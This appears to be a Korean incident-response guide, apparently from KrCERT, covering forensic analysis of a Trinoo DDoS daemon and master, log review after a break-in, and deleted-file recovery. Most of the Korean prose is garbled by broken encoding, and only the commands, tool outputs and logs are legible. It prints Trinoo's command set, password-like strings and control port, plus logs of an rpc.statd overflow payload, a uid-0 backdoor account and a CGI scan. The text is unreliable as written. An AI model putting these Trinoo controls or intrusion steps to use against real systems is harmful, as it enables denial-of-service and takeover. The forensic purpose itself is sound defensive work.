�	òÓp	3(	TU	!På
�	:;. �S9	ghbD	 touch 23	¯°�ñ	�
�	�þ7	�Ýx�[	L¬�	�_K	�
þ7	!P�	�	:;. X�/	?mb8	OO	*+3	�þ7	!"�;	X/Z�, MAC timeO
l�½	�
�p[	+�Ì	+7	
�XDi	�	���	å	R�;.

4.5 �%�%�%�%����:;<=:;<=:;<=:;<=����	
	
	
	


	 	ghb8	É=>	 gh	��� (³()7	ÂÃy<, ��ªS/	É�:D	P�, ø
¤08
:D	P�, ;E	�
�7	ghK	qI	}�	:D	P�, ´*+	X;8	ªDK	³(8	:D
P�	 2�	 �ðj�	 ��XU	 �;. É=-	 ³(p	 �Z	 �U	R	 8�	 6�3	 gh3�8
�Ôå	�	:;.

  ��ªS	 *+/	 :D	 P�pD	 '(	 �
�7	 ª�	 ghMx�	 �MXD	 P�8	 ý;.
;E	ê�	ô�7	¬ÃX9	ghp	vwK	��ªS	��� /7	��	ö§U	��(	`9

ñþ	P��;. 8Â	?mb3	ô�7	��L�	ö�	P�8	jf, @F
3	P�	ê¦Gë
7	X�	�D	�d	?mb	�
�3	 IPr	s�L�	îK;. "()	
yb(Lamer) CD	
�
��	G�"3	`$	 gh�	�¦9, �
�p	@Xl	¡	 �D	ª�	 :D	ghbp	3K	gh
�;. �S9	 @Þê	 »�,�	 gh7	 ��X�	 ¡K	 gh(~, DDoS	 p���), $GZ	ß
(Internet Worm)I	­�K	bÓ	CD	ºbÓ	gh�.p	3K	gh+	8æ¤�	ý;. �[	P
�	L¬, ���FG	 ghb8	 �?m	 �	 �	 �Ô�	 �	 äU	 j�	 ?mbr	 ê¦GëXD
+	CK	�t,-;. ��_¦àXU�	�Ë	P�pD	;E	ghb8	bc�	?mK	�
�
7	�MX�	îX��	yz	"�r	�(`D	P�8	ý;.
	 	 	 	



  
yb(Lamer) CD	
y	
���	G�(Script Kiddies)§O	'(	 �
�p	��*+7	�
ØXl	 history *+, ���	 �6	 *+	 2	 ��½	 ýO	 ô�7	 É=`D;. à
K	.�Ð
CD	���	gh7	X9	�
�7	/�	 y;8	ñ8D	Rx�	�Ô�;. f�*	 gh�&
p	@K	B
�r	¡Xl	Ïa	 gh	 ��� 7	8�Ë	´*+	(y9, ªÒ�sy9	XD
23	 ÒÓ�	 y�f, 
¦?r	 ��Xl	 Ïa	 ID/Passwordr	áL[	 ;E	 �
�7	 ÅTU
ghXÃñ, Xñ3	gh	��� 7	�MXl	�	R5r	âàX��	K;. �Ë	P�, '(
�
�pD	(\	ghb>p�	;�3	ghb	ô��	ÉD	 P�8	ý;. *�	ñã	 P�p
D	��	K	
yb8	ê�	�	;	KS�	ä	��	:D	d]�	�;.

   ��3	P�D	
¯	'(	�
�x�	3ÐO	8Di, ?m	 ô��	��	å���	�D
P��;. Â�þ7	æb([	
�X9	ê¦Gë(W/	���	�	:7	R�;.

	 	f�*	 gh�&3	��I	�þ3	ç|p	�Z	'(�
�p	ÉD	ô�3	­��	!ÀK

;. DDoS	gh7	8�9	¡3	~§7	�¯�	�	:;. DDoS	gh�.8	$GZp	��j�
�£K	 99è	óº, DDoS	gh	�.ó3	Xñ$	Trin008	Úqj¾7	\�pD	ºbÓ3	g
h	��� x�	�
�7	ghXl	 Trin00 Agentr	��K	;H, ê�	gh	ô�7	��9,
�
�	yzD���	�ÒXD	0þ	9Ì¡�3	gh�&7	�MK	gh�	ý�	Úqj¾;.
l�	'(	�
�ID	ÞS	��ªS8	���	é7	���	�t�f, *+�|�	.
X�
�ì��	/§��	:¾;. º<, 2000è	§�	�_K	gh�.8	g±j9	Ì	KpD	
y
b§3	�Mx�	$Xl	��[ñ	TU	Úqjê	 K;.���� BCDBCDBCDBCD���� ������������ ���������������� E)D1E)D1E)D1E)D1���� FGFGFGFG


�
�
�
����� ��H���H���H���H����� ���I���I���I���I���� JKLJKLJKLJKL���� ��2M*��2M*��2M*��2M*���� N:�O��N:�O��N:�O��N:�O��, P�P�P�P����� ������������ �������������������� QRS%KQRS%KQRS%KQRS%K

N:
2N:
2N:
2N:
2����T�T�T�T�����UTUTUTUT���� "V0V0V0V0"7777������W��W��W��W����XY*XY*XY*XY*����Z%&Z%&Z%&Z%&, [I[I[I[I�����\��\��\��\�����];];];];�����^_�^_�^_�^_�����	
V�	
V�	
V�	
V���� `̀̀̀

a��a��a��a������
���(
���(
���(
���(�����b��b��b��b�����$�$�$�$�.

	 	ghb8	��K	CD	É=>	gh	��� 3	�æ7	
�X<	ëóK	6yr	dU	�;.
ghb8	�
�7	��K	]�x�	�MXD�, �TU	?m7	�D�, �
�p	;�	§�
c�	ÏO	§���	�7�, /0	§�í;<	��K	%&x�	§�c�	2p	@K	6yr
�Ô�	 �	 :U	 �;. ª¬	 ¶·p[	 �M�	 �.p	 �Z	 ��K	 3�8	 :D�r	 �Ô�
�	:D	RI	�JX;. �S9	�_K	6yD	ghb	��	}	ê¦GëX�	¡K	��	b
¼8	�;.

  �_K	��ªS	��� 7	
�XD	%&pD	6�$	
�%&(static analysis)I	Ó�$

�%&(dynamic analysis)�	 :;. 6�$	 
�%&O	 gh	 ��� 7	 ª¬�	 ªÒ�G�
�9	 disassembler, strings 2I	 ÍO	 �.	 �MXl	 
�XD	 %&�9, Ó�$	 
�%&O
gh	��� 7	ªÒ�s	8f, �eÃ, 
¦?, ��R
	��	�.	27	�MXl	��ª
S3	!À, m��	}	 27	
�Xl	��� 3	Ó£7	s�LD	%&�;. +º�x�	�
_K	%&§7	hÒ	�MXl	
�7	XU	�;.

  ø
¤08	É�	:D	P�Z<, ø
¤0r	
�X<	j �/, gh	��� �	��ª
S	 *+�/	 É=�	 :7	 P�pD	 +º�x�	�è	 "strings" ¯°7	 �MXl	��ªSr

�XU	�;. "strings" ¯°O	*+p[	���	8æK	�b§7	��(	¢Ê�, gh	��
� 3	 help �	27	­	�	:Uj9, ��	6�	��� 3	�æ7	s	�	:U	�;.

  "strings" ¯°x�/	 Fì�	P�pD	ªÒj9	:D	 ��� �	 �MXD	*+, V�	 2
p	@Xl	 lsofr	�MXl	#$�	�	:;. CK	 "strace"(Linux), "truss"(Solaris) 23	¯°7
�MXl	 gh	 ��� 7	 �I	 ªÒ�G9	 ��� �	 �MXD	 �
�·p	 @K	 
�7

XD	%&�	:;.

  ;HO	=L3	K	'(	�
�p[	Úq�	DDoS	 gh�.$	 Trin00 Daemon }	Masterp
@Xl	�é	
�K	LM�;. =>	����FG	=L3	��	 �
��	UDP Flooding gh
7	X9	:;D	ü3	4+7	N9	
�7	�£X¸;. �
�	
�7	oXl	 “ísolnmb"ZD



f�*	gh	��� 7	ÚqX¸;.

  û[	 �¯K	 ;E	 ýO	 
�%&7	VpXl, ¢�	��ªSr	 
�XD	 F
p	 @Xl
�¯X��	 K;. �è	 "strings" ¯°7	�MXl	(\	��ªS3	�æ�	 �Ü$�	 
�(
y9, ¥/	bRK	
�7	¡Xl	��ªSr	ªÒ�G9	�
�p[	��K	!À8	:D�
r	ÂÃ�;.

#strings tsolnmb

209.xxx.xxx.130
207.xxx.xxx.19
129.xxx.xxx.40
socket
bind
recvfrom
%s %s %s
aIf3YWfOhw.V.
PONG
*HELLO*

  strings ¯°7	�MXl	��ªS3	LM7	ÂÃ�	qI	 socket, bind, recvfrom	2	»�,�
��� �ZD	R7	s	�	:xf, PONGI	HELLOZD	
�ëO	(\	��� �	ªÒj
<[	��K	Aî7	¢9NH7	s	 �	 :��	 K;. �S9	ñU�	 IP ¢øD	�	 ��� 
I	oc7	¢9ND	���ZD	R7	�Ô�	�	:��	(�;.

  ;HO	 lsofr	 �MXl	 "tsolnmb" �ZD	 ��� �	 �MXD	*+, V�	 27	 ��	 �
qI�	UDP 274447	V�r	�Mp7	s	�	:;.

# ps -ef�| grep�tsolnmb
    root 27518 27428  0 16:00:43 pts/7    0:00 grep�tsolnmb
    root 27516     1  0 16:00:25 pts/7    0:00 ./tsolnmb
# ./lsof�-p 27516
COMMAND   PID�USER   FD� � �TYPE     DEVICE SIZE/OFF   NODE NAME
tsolnmb�27516 root  cwd� � �VDIR� � � � � � � 32,0      512  13581 /user/cert/test
tsolnmb�27516 root  txt   VREG� � � � � � � 32,0    11460  13586 /user/cert/test/tsolnmb
tsolnmb�27516 root  txt   VREG� � � � � � � 32,8    19304 134892 /usr/lib/libmp.so.2
...
tsolnmb�

��

�27516 root    3u  inet�
��

�0x60ce6850      0t0    UDP *:27444 (Idle)
...

	

  ;HO	 Solaris3	 "truss" ¯°7	�MXl	gh	��� 7	ªÒ�G<[, (\	��ªS8
.�XD	�
�	·7	
�K	R�;. y�D	RV^	 ��R
8	ªÒj<[	 "*HELLO*"Z
D	4��r	��±8	yï;D	R7	s	�	:;.

# truss ./tsolnmb
execve("./tsolnmb", 0xEFFFFE00, 0xEFFFFE08)  argc�= 1
open("/dev/zero", O_RDONLY)                     = 3
...
bind(3, 0xEFFFFDC8, 16)                         = 0
so_socket(2, 1, 17, "", 1)                      = 4
sendto(4, " * H E L L�

��

�O *", 7, 0, 0xEFFFF7F0, 16) = 7
fork()                                          = 27572
setpgid(27572, 27572)                           = 0

  �S9	(\	��ªSr	ªÒ�	ú, »�,�	��§7	
�(	y<	;HI	Í�	�6	�

�x�	D��	�ðjD	R7	Úq�	�	:Di	�D	¡3	 sendto()p[	�Ø�	R�9	�
6	D�7	yLD	¢øD	 "strings" ¯°x�	#$K	 IP ¢ø§�;.



# snoop udp
Using device /dev/hme�(promiscuous mode)
test.certcc.or.kr�-> 129.xxx.xxx.40�UDP D=31335�S=34041 LEN=15
test.certcc.or.kr�-> 207.xxx.xxx.19�UDP D=31335�S=34042 LEN=15
test.certcc.or.kr�-> 209.xxx.xxx.130�UDP D=31335�S=34043 LEN=15

  �SD	 '(	 �
�	 
�7	 X<[	 ÚqK	 "tsolnmb"ZD	��ªS	 ��� 7	 
�Xl
gh	��� O	UDP 274447	V�r	�MX9	:xf, d@yO	UDP 313357	V�r	�
MK;D	�ª7	s�ñ;. �Z[	(\	V�(UDP 27444)r	ê¦GëX<	Lò8D	ghb
8	I�(	c	R�ZD	R7	s	�	:;. ê¦Gë	F
O	;H	Âp[	;«;.

  '(	 �
�p[	 Úq�	 tsolnmbD	 Úq\�	 cron	B�:p	 2�j�	 ¢��x�	 ªÒj
��	 j�	:¾;. l�[	�SD	 tsolnmbD	��� Lp	¤rj�	:D	 IP ¢ø�	¢��
x�	 "*HELLO*"ZD	4��r	yï;D	R7	s	�	:Di, �D	� �	 tsolnmb	 ��� 
3	 der	 st¢�	 ¡p�Z9	 �Ô�;. k, "�	 �
�p	 tsolnmb8	 ��j�	 Ó£X9
:$¦;"ZD	4��r	¢��x�	ghbpU	yLD	R�;.

  �SD	��ªS	��� 7	
�Xl	ghb(CD	;E	()	'(b+	�	:;)3	 IP ¢
ør	 #$X¸9	 "?(�9@A%&	 }	 ÛÜ"p	 �Z	 (\	 ���	 nSbË	 `aXl
tsolnmb	 ��� I	 ocXD	 ��� $	 "tserver1900"p	 nK	 6y(��p	 ��j�	 :9,
��	�æ7	XD�	2)r	uvX¸;.

  CK	'(	�
��	�¢	óôXU	gh\K	áI	Úq�	��� �	l_	�
�I	oc
K;D	 áp	 ¢3r	 �õ�9	 Ó+	 '(	 ���L3	 �JK	 ×P3	 Solaris [ep	 @Xl
"�r	X¸;. ê�	�
�7	;	K�­	�D	äxÊ�	û[	
��	6yr	�MXl	;E
'(	�
�7	�D	%&7	�MX¸;. k, UDP 27444, 313357	V�8	Ut�	:D	�
�
7	#$XD	£ã7	X¸;.

# namp�-sU�-p 27444,31335 xxx.xxx.xxx.1-254

  ���	L3	ýO	�
�p[	 27444, CD	 313357	V�8	Ut	:D	�
�7	#$X¸
9	�	ó	6	V�8	ê6	Ut:D	�
�p	§�8	
�K	qI	 tsolnmbË	 tserver1900 �
ZD	gh	��� 7	ê6	Úq�	�	:¾;. �SD	÷N7	;(	ghbr	��XlW	K
;. �Z[	�JK	%&x�	 "tserver1900"7	
�K;.

  ;HO	����	���	×Pp[	 tserver1900 ��� 7	ÚqK	%&7	�¯K;. �SD
��	gh��� �	 3133577	 �MX9	:H7	 s9	:xÊ�	�	 �ª7	�MXl	 ;H
I	Í�	(\	��R
r	��ï;.

# ./lsof�-i:31335
COMMAND     PID�USER   FD� � �TYPE     DEVICE SIZE/OFF NODE NAME
tserver19 29168�root    3u  inet�0x611f91b0      0t0  UDP *:31335 (Idle)

  ��� 	�|�	 tserver1900 ¬7	#$X¸9	��R
	7.8	 29168¬7	#$X9	;�
lsof	¯°7	�MXl	/	bRK	6yr	#$(	�;.

# ./lsof�-p 29168
COMMAND     PID�USER   FD� � �TYPE     DEVICE SIZE/OFF   NODE NAME
tserver19 29168 root  cwd� � �VDIR� � � � � � � 32,0      512  13581 /usr/bin/
tserver19 29168 root  txt   VREG� � � � � � �

� � � � � � �� � � � � � �

� � � � � � � 32,0    40504   3459 /user/bin/tserver1900
...
tserver19 29168 root  txt   VREG� � � � � � � 32,8    53656 134904 /usr/lib/libsocket.so.1
tserver19 29168 root  txt   VREG� � � � � � � 32,8   721924 134972 /usr/lib/libnsl.so.1
...
tserver19 29168 root    3u  inet�

��

�0x611f91b0      0t0    UDP *:31335 (Idle)



tserver19 29168 root    4u  inet�
��

�0x611f8d30      0t0    TCP *:27665 (LISTEN)

	 	 tserver1900�	 "/usr/bin" �noSp	��j�	:H7	s	�	:xf, UDP 313357	V��>
p�	TCP 276657	V�r	�MX9	:H7	s	�	:;. �¬	 tserver1900�	��	��� $
�	
�(�;.

# strings tserver1900
---v
trinoo�%s : àá���£�:¤��Þ�� trinoom+�.$�µ�'­
v1.07d2+f3+c : trinoo�£�:¤�¦a�âã� ?
...
0nm1VNMXqRMyM : �2ä�å��æç�è�éêë��ì
º�>����+�íî
...
DoS: usage: dos <ip> : DOS ���£�:¤ß$�é	
...
help : trinoo������
Commands: info bcast�mping�mtimer�dos mdos�mdie�quit nslookup
...
help bcast: Lists broadcasts.
help mping: Sends a PING to every Bcasts.
help mtimer: Sets amount of seconds the Bcasts�will DoS�target.
...
help mdie: WARNING DO NOT USE!

Disables all Bcasts. Makes the daemon die.   :
Bcasts/daemon$� disable 	ï+� ��, :ðg
tsolnmb!� daemon *+�Bcasts��!� ?

help quit: Closes this connection!
help mstop: Attempts to stop DoS.
...

# ./tserver1900 : bc�	
����!ñO�]Ì�	òY�<=
??

  ö, �Ü+�? ÷XÛ	Ç��, D
,08	�t:D	R+�? truss ¯°x�	#$(	y��
K;.

# truss ./tserver1900
execve("./tserver1900", 0xEFFFFE60, 0xEFFFFE68)  argc�= 1
open("/dev/zero", O_RDONLY)                     = 3
...
so_socket(2, 1, 17, "", 1)                      = 3
so_socket(2, 2, 0, "", 1)                       = 4
ioctl(1, TCGETA, 0xEFFFE56C)                    = 0
ioctl(0, TCGETA, 0xEFFFF2C4)                    = 0
?? write(1, " ? ?  ", 3)                                = 3
read(0, 0xEF6AA5C0, 1024)       (sleeping...)

  "truss" ¯°x�	�
�·7	#$K	qI	��� p[	m�7	�;S9	:H7	s	�	:
;. truss CD	 straceD	gh	��� 3	
�¦/	�¦Z	ghbr	ê¦GëXDi�	�M�
�	:;. ê¦GëO	;E	F
p	;��/, û[	 trussp	@K	�M&p	@(	 �¯(	øx
Ê�	l�[	�¯X9b	K;. truss, strace	��� 3	Ñ57	bR½	y<, ��	ªÒj9	:
D	��R
3	�
�·p	@([�	���	�	:;. ;HI	Í�	 "-p" Ñ57	�MXl	�
�	ªÒj9	:D	��R
3	�
�·7	��XU	jf, -f Ñ57	�8	�MXl, b�	 �
�R
3	�
�·	���	���	�	:;.

# truss -f -p PID



  û[	~3	'(�
�p[	 tserver1900 ��� �	ªÒj9	:¾Di, ;HI	ÍO	¯°x
�	(\	��� p	I�(	�D	ghb3	òÓ7	ê¦Gë	�	�	:;. �SD	O+7	�
;�	 �p	;HI	ÍO	qIr	d7	�	:¾;. *+	m��	 CD	 »�,�	n!	 �
�·
7	\�X<, ��� �	 ��K	 �æ7	 XD�	 CD	 ��K	 i�G8	�98D�	 ù£�
�	:xÊ�	 "egrep"7	�MXl	vwK	i�G/7	úû	X¸;.

# truss -f -p 29168 2>&1 | egrep�"read|recv|write|send|exec|socket|connect"
29168:  read(5, " b e t a a�l m o s t d o".., 1024)     = 16
29168:  write(5, " t r i n o o� � � v 1 . 0 7".., 38)      = 38
29168:  write(5, " t r i n o o�>  ", 8)                 = 8
29168:  read(5, " i n f o", 1024)                   = 6
29168:  write(5, " T h i s   i s   t h e  ".., 98)      = 98
29168:  write(5, " t r i n o o�>  ", 8)                 = 8
29168:  read(5, " m p i n g", 1024)                 = 7
29168:  write(5, " m p i n g :   S e n d i".., 39)      = 39
29168:  so_socket(2, 1, 17, "", 1)                      = 6
29168:  read(7, " M R l Z s 0 p G D 2 D /".., 8192)     = 25
29168:  sendto(6, " p n g   l 4 4�a d s l", 11, 0, 0xEFFFF330, 16) = 11
...

	 	 -rall, -wall Ñ57	�MX<	 read, write �
�·�	�ÞjD	ê�	i�Gr	èÂ�	�	:�
y;	 bRK	 LM7	 s	 �	 :;. ;HO	 -o Ñ57	 �MXl	 qIr	 *+(log)�	 èÂX9,
�	óp	 read|recv|write|send|exec|socket|connect 	
�ó��B-�Ú�è$�ôõ-�.��

# truss -rall -wall -f -o log -p 29168

29168: poll(0xEFFFD350, 3, 1000) = 1
29168: read(5, 0xEFFFF888, 1024) = 16
29168:    betaalmostdone
29168: write(5, 0xEFFFF488, 38) = 38
29168:    trinoo� �� �� �� � v1.07d2+f3+c..[rpm8d/cb4Sx/]
29168: write(5, "trinoo>�", 8) = 8
29168: read(5, "", 1024) = 2
29168: write(5, "trinoo>�", 8) = 8
29168: read(5, "info", 1024) = 6
29168: write(5, 0xEFFFF488, 98) = 98
29168:    This is the "trinoo" AKA����DoS����Project master server. [v1.07d2+f3+
29168:    c]Compiled: 16:35:30 Sep 20 1999
29168: write(5, "trinoo>�", 8) = 8
29168: read(5, "mping", 1024) = 7
29168: write(5, 0xEFFFF488, 39) = 39
29168:    mping: Sending a PING to every Bcasts.
29168: so_socket(2, 1, 17, "", 1) = 6
29168: read(7, 0x0002B034, 8192) = 25
29168:    MRlZs0pGD2D/8YAsZ0vqiwK.
29168: sendto(6, "png����l44adsl", 11, 0, 0xEFFFF330, 16) = 11
29168: read(7, 0x0002B034, 8192) = 0
29168: write(5, "trinoo>�", 8) = 8
29168: recvfrom(3, "PONG", 1024, 0, 0xEFFFFCF8, 0xEFFFFCCC) = 4
29168: write(5, 0xEFFFF488, 35) = 35
29168:    PONG 1 Received from xxx.xxx.xxx.x
29168: read(5, 0xEFFFF888, 1024) = 20
29168:    dos yyy.yyy.yyy.yyy
29168: write(5, 0xEFFFF488, 31) = 31
29168:    DoS: Packeting yyy.yyy.yyy.yyy.
29168: so_socket(2, 1, 17, "", 1) = 6
29168: read(7, 0x0002B034, 8192) = 25
29168:    MRlZs0pGD2D/8YAsZ0vqiwK.
29168: sendto(6, 0xEFFFF488, 26, 0, 0xEFFFF330, 16) = 26
29168:    aaa����l44adsl����yyy.yyy.yyy.yyy



29168: read(7, 0x0002B034, 8192) = 0
29168: write(5, "trinoo>�", 8) = 8
29168: read(5, "mstop", 1024) = 7
29168: write(5, "trinoo>�", 8) = 8
29168: read(5, "quit", 1024) = 6
29168: write(5, "bye bye.", 9) = 9

	 	�_<	 276657	V��	I�Xl	¡p[	ñí	LM@�	�Z(	y��	Xb.

# telnet localhost�27665
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
betaalmostdome : ì
º�
trinoo�v1.07d2+f3+c..[rpm8d/cb4Sx/] : trinoo�¦a��3

trinoo> info : trinoo�£�:¤��3
This is the "trinoo" AKA�DoS�Project master server. [v1.07d2+f3+c]
Compiled: 16:35:30 Dec 20 1999
trinoo> mping
mping: Sending a PING to every Bcasts.
PONG 1 Received from xxx.xxx.xxx.x

trinoo>dos yyy.yyy.yyy.yyy : yyy.yyy.yyy.yyy�����DOS ��
DoS: Packeting yyy.yyy.yyy.yyy.
trinoo> mstop

  �Ù��	�SD	­®
3	OO	¯°7	�MXl	gh	��� 7	
�X¸9, CK	gh
br	ê¦GëXl	ghb8	��	���r	ghXD��	s�©	�	:¾;. 
�7	að(
y<, tsolnmbD	 tserver1900 ��� I	 ocXl	 gh7	 �ÒXD	 ��� �f, ghbD
tserver19003	TCP 27665 V�p	I�X9	 tsolnmbpU	gh¯°7	LSD	Rx�	�Ô�;.
 ��	ÉO	�¬D	 TCP 27665 V�r	ê¦GëXl	ghb8	I�(	��r	�;t	 gh
b3	 IP ¢ør	s�LD	R�;.

4.6 ��������������������������������

	 	��	*+
�7	oK	?mb	��O	ô½	ªD�	��8D	P�8	ý;. ?(�9	
�
�	8Â	ý�	PQXU	jD	RO	��	*+p	��½	ýO	
Ägh, ?mô�7	ÚqXU
jD	P��;. "�X! K	ü�/	§�í	R�	�¦Z	 �ýO	ü�§�	ø;	ý.ñ", �[
P�	��X9	:D	?mb	@d�	ä��D	RI	 þ8�8	�;. C	;E	P�pD, (\
?(�9Ë	n!�	?mb3	ô�/	ä9	;E	?mb§3	ô�/�	8v½	�l:D	P�

r	 ý�	 ÚqK;. �S9	 C	 ;E	 P�pD	 ghô�O	 :Di	 ghb3	 ø
	 IP8	 É�
�D	 gh��8	 :;.  þ8��	 ���	 �SD	 ÷N7	 ;(	 ghb3	 ô�7	 ��W/

K;.

  ��	*+p	IXXD	%&O	6	 8�	%&�	:;. �	78D	û[	�¯K	�
�3	?
mô�7	�è	��L9	?m	 �þ@r	8æK	K	XIXU	�ÔK;. �S9	ñ[	��*
+p[	(\	�þ@3	��r	��	#$XD	%&�;. 6	78D	ü3	4+p	���	�þ
@(��ñ	 �þ6y8	 :7	 P�p)r	8�9	 ��*+FG	#$7	K	Kp	 �
�7	 
�
XD	%&�	:;. vbD	PQd	�
�	*+FG	"�r	K	K	��*+7	
�K;. �D
��	*+	
�7	¬+	 ��p[	;«	�­���	X;.

  /0	 ��*+p	 gh	 ô��	 É�	 :;<(ghb8	 ��r	 ���	 �¿9	 ��p	 ÉD
�e3	gh+	P�p/	(\) �SD	�Ü7	d7	�	:D8? �RO	?m%&I	gh	�




�3	 IP ¢ø�;. *+	�
�	
�7	oXl	?mb8	�
�p[	�Ü7	�D�, �T
U	?m�D�p	@Xl	�Ô�	�	 :xf, ��*+7	o(	(\	 �
�p	?m(í	%&
I	gh	�
�3	 IPr	6#½	#$�	�	:D	R�;.

  ;HO	�
��	gh7	N¿7	P�, +º�x�	ñ@ñD	��	*+3	�e�;. Buffer
Overflow gh3	P�	�dK	�b§�	ÉUjf, �0á	
Ägh3	P�pD	�O	�þp
ýO	[e�3	I���8	ÉU	�;. +º�x�	�øË	;E	�e3	��	�er	��X
<	�;.

o �����������������������	���	���	���	����
�
�
�
�

< /var/log/secure �j� >
Apr 14 19:18:56 victime�in.telnetd[11634]: connect from xxx.168.11.200
Apr 14 19:18:56 victime�imapd[11635]: connect from xxx.168.11.200
Apr 14 19:18:56 victime�in.fingerd[11637]: connect from xxx.168.11.200
Apr 14 19:18:56 victime�ipop3d[11638]: connect from xxx.168.11.200
Apr 14 19:18:56 victime�in.telnetd[11639]: connect from xxx.168.11.200
Apr 14 19:18:56 victime�in.ftpd[11640]: connect from xxx.168.11.200
Apr 14 19:19:03 victime�ipop3d[11642]: connect from xxx.168.11.200
Apr 14 19:19:03 mozart imapd[11643]: connect from xxx.168.11.200
Apr 14 19:19:04 mozart in.fingerd[11646]: connect from xxx.168.11.200
Apr 14 19:19:05 mozart in.fingerd[11648]: connect from xxx.168.11.200

o ��
������
������
������
���������������������������������������������������������	�	�	�	����
�
�
�
�

< /var/log/messages �j�>
Feb 23 07:51:39 ns�scandetd: sunrpc�connection attempt from xxx.xxx.xxx.16
Feb 23 08:19:29 ns�rpc.statd[448]: gethostbyname�error for ^X??X??Y??Y??Z??Z??[??[?
ö ffff750 80497108052c20687465676 274736f6d616e797265206520726f7220726f66
bffff718         bffff719  bffff71a   bffff71b÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷
÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷

÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷

÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷÷?
Feb 23 08:19:34 ns�scandetd: sunrpc�connection attempt from xxx.xxx.xxx.170
Feb 23 08:19:40 ns�scandetd: port 39168 connection attempt from xxx.xxx.xxx.170
Feb 23 08:23:22 ns�useradd[1391]: new user: name=cgi, uid=0, gid=0, home=/home/cgi,

shell=/bin/bash
Feb 23 08:23:33 ns�PAM_pwdb[1392]: password for (operator/11) changed by ((null)/0)
Feb 23 08:23:54 ns�PAM_pwdb[1393]: password for (cgi/0) changed by ((null)/0)
Feb 23 08:24:25 ns�scandetd: telnet connection attempt from xxx.xxx.xxx.net
Feb 23 08:24:47 ns�PAM_pwdb[1396]: (login) session opened for user operator by (uid=0)

o �������������������������������������������������	�	�	�	����
�
�
�
�

< /var/log/httpd/access_log �j�>
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/phf�HTTP/1.0" 302 192
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/Count.cgi�HTTP/1.0" 404 170
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/test-cgi�HTTP/1.0" 404 169
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/php.cgi�HTTP/1.0" 404 168
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/handler HTTP/1.0" 404 168
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webgais�HTTP/1.0" 404 168
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/websendmail�HTTP/1.0" 404 172
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/webdist.cgi�HTTP/1.0" 404 172
...
xxx.xxx.xxx.200 - - [14/Apr/1999:16:44:49 -0500] "GET /cgi-bin/wwwboard.pl�HTTP/1.0" 404 172

  /0	�Ù��	�¯K	%&7	�MXl	?mô�7	��	 î�;<	?mb	��O	 "ªD"



CD	 "Â��"x�	§�þ;. �D	ghb8	bc3	ô�(gh	ô��	�Ð	ghb	�
�3
IP ¢ør	Çp)7	¹�½	¬ÃX¸Ãñ	CD	
�b8	?mô�7	¬@�	��L�	î�H
7	3�K;.

  �	�áp[D	6	 8�	���p	[U	�;. "?mb	��7	V�X9	�9�$p	§�8
��	�¦<	5�	?mbr	���	R��" N�O	���	nSb3	��;. ?mbr	5�
��X�	 ¡([D	 ?mb	 ê¦Gë	 à5p	 §�8W	 Xf, �D	 �Ù��	 
�K	 b¼r
�Àx�	��K	%&x�	��K	»�,�	I�7	ê¦GëXl	?mbr	��©	R$8r

q6X9	��XlW	K;. ���	 �SD	÷N7	;(	ghb3	 IP ¢ør	��W/	K;.
�F
O	 "IV. ?mb	ê¦Gë" p[	;���	K;.

4.7 �	
�	
�	
�	
������������������������

	 	ghbD	���x�	bc�	?mK	ô�7	3¬K;. ��*+	bâr	3¬XÃñ, ��
*+	LM	ó	bc�	gh�Á	ô�/7	3¬XD	P�8	:xf, ghp	�M�Á	gh	

���, ��� , i�G	*+	27	3¬XU	�;. �_K	3¬�	*+p	@K	6yr	 s
�	:;<, '(	�
�7	
�XDi	��	ówK	b¼8	å	R�;.

  +º�x�	 ­®
	 �
�p[	 *+�	3¬j<	 *+	 �
�3	�¤x�	 $Xl	 *+3
�.8	_8æX;9	st�	 :xñ, �ª	ýO	P�	�.8	8æX;. ­®
p[	 "rm" 2
3	¯°x�	*+7	3¬XU	j<	*+I	n!�	ê�	6y8	ä��D	R�	�¦Z, OO
6y/	*õjÃñ, à
½	 "�Mj�	�H"x�	��j�	�M�	�	äU	jD	R�;. �
S9	;E	*+	�
�	òÓ�	:Uj<	�	�Mj�	�D	F
7	;�	�MXU	j9, �
ú	��	 :Á	 6y8	�Z�U	�;. X�/	�_K	3¬�	*+p	@K	6yD	��	 òÚ
K	*+�
�	�M�	:/Z�, ���	�	�þ	­��;.

  ­®
p[	 *+��³8	 �	 P�pD	 �
�3	 l�è�p	 ñ
��[	 èÂ(file
fragmentation)�jDi, �D	��-	*+7	�.X�	ö§U	K;. X�/	w�	�
�O	*

+�
�3	 "Locality" æ�(Xñ3	*+7	8æK	K	 8�*	 ¡�p	èÂXD	�æ)�	��
ñ�	ú�p	*+	
��	ý�	+�ñ�	�9, �Z[	�,-	*+7	�.X�8	M�X;.
�½, S%
3	P�	*+7	3¬X/Z�	 12±��3	*+	i�G	:�(fragmentation) 6y
r	­�X�	ú�p	*+�.8	��	M�X;. ;HO	­®
	*+�
�3	���$	."
r	yl¢9, *+�	3¬å	ú	­®
	*+�
�3	!Àr	yl�;.



ø¼^5 �j�3 ùu	·ë

--------------------------------------------------------------------------------------------------------------------
directory name(�j�Þ) 3ú(û<��)
--------------------------------------------------------------------------------------------------------------------
inode�block owner 3ú

   group ownership 3ú

last read access time 3ú

last write access time 3ú

last attribute change time ùu��	�

delete time(Linux�only) ùu��	�

directory reference count 0(Zero)
file type 3ú(Linux), �ü(Other)
access permissions 3ú(Linux), �ü(Other)
file size 3ú(Linux), �ü(Other)
data block addresses 3ú(Linux), �ü(Other)

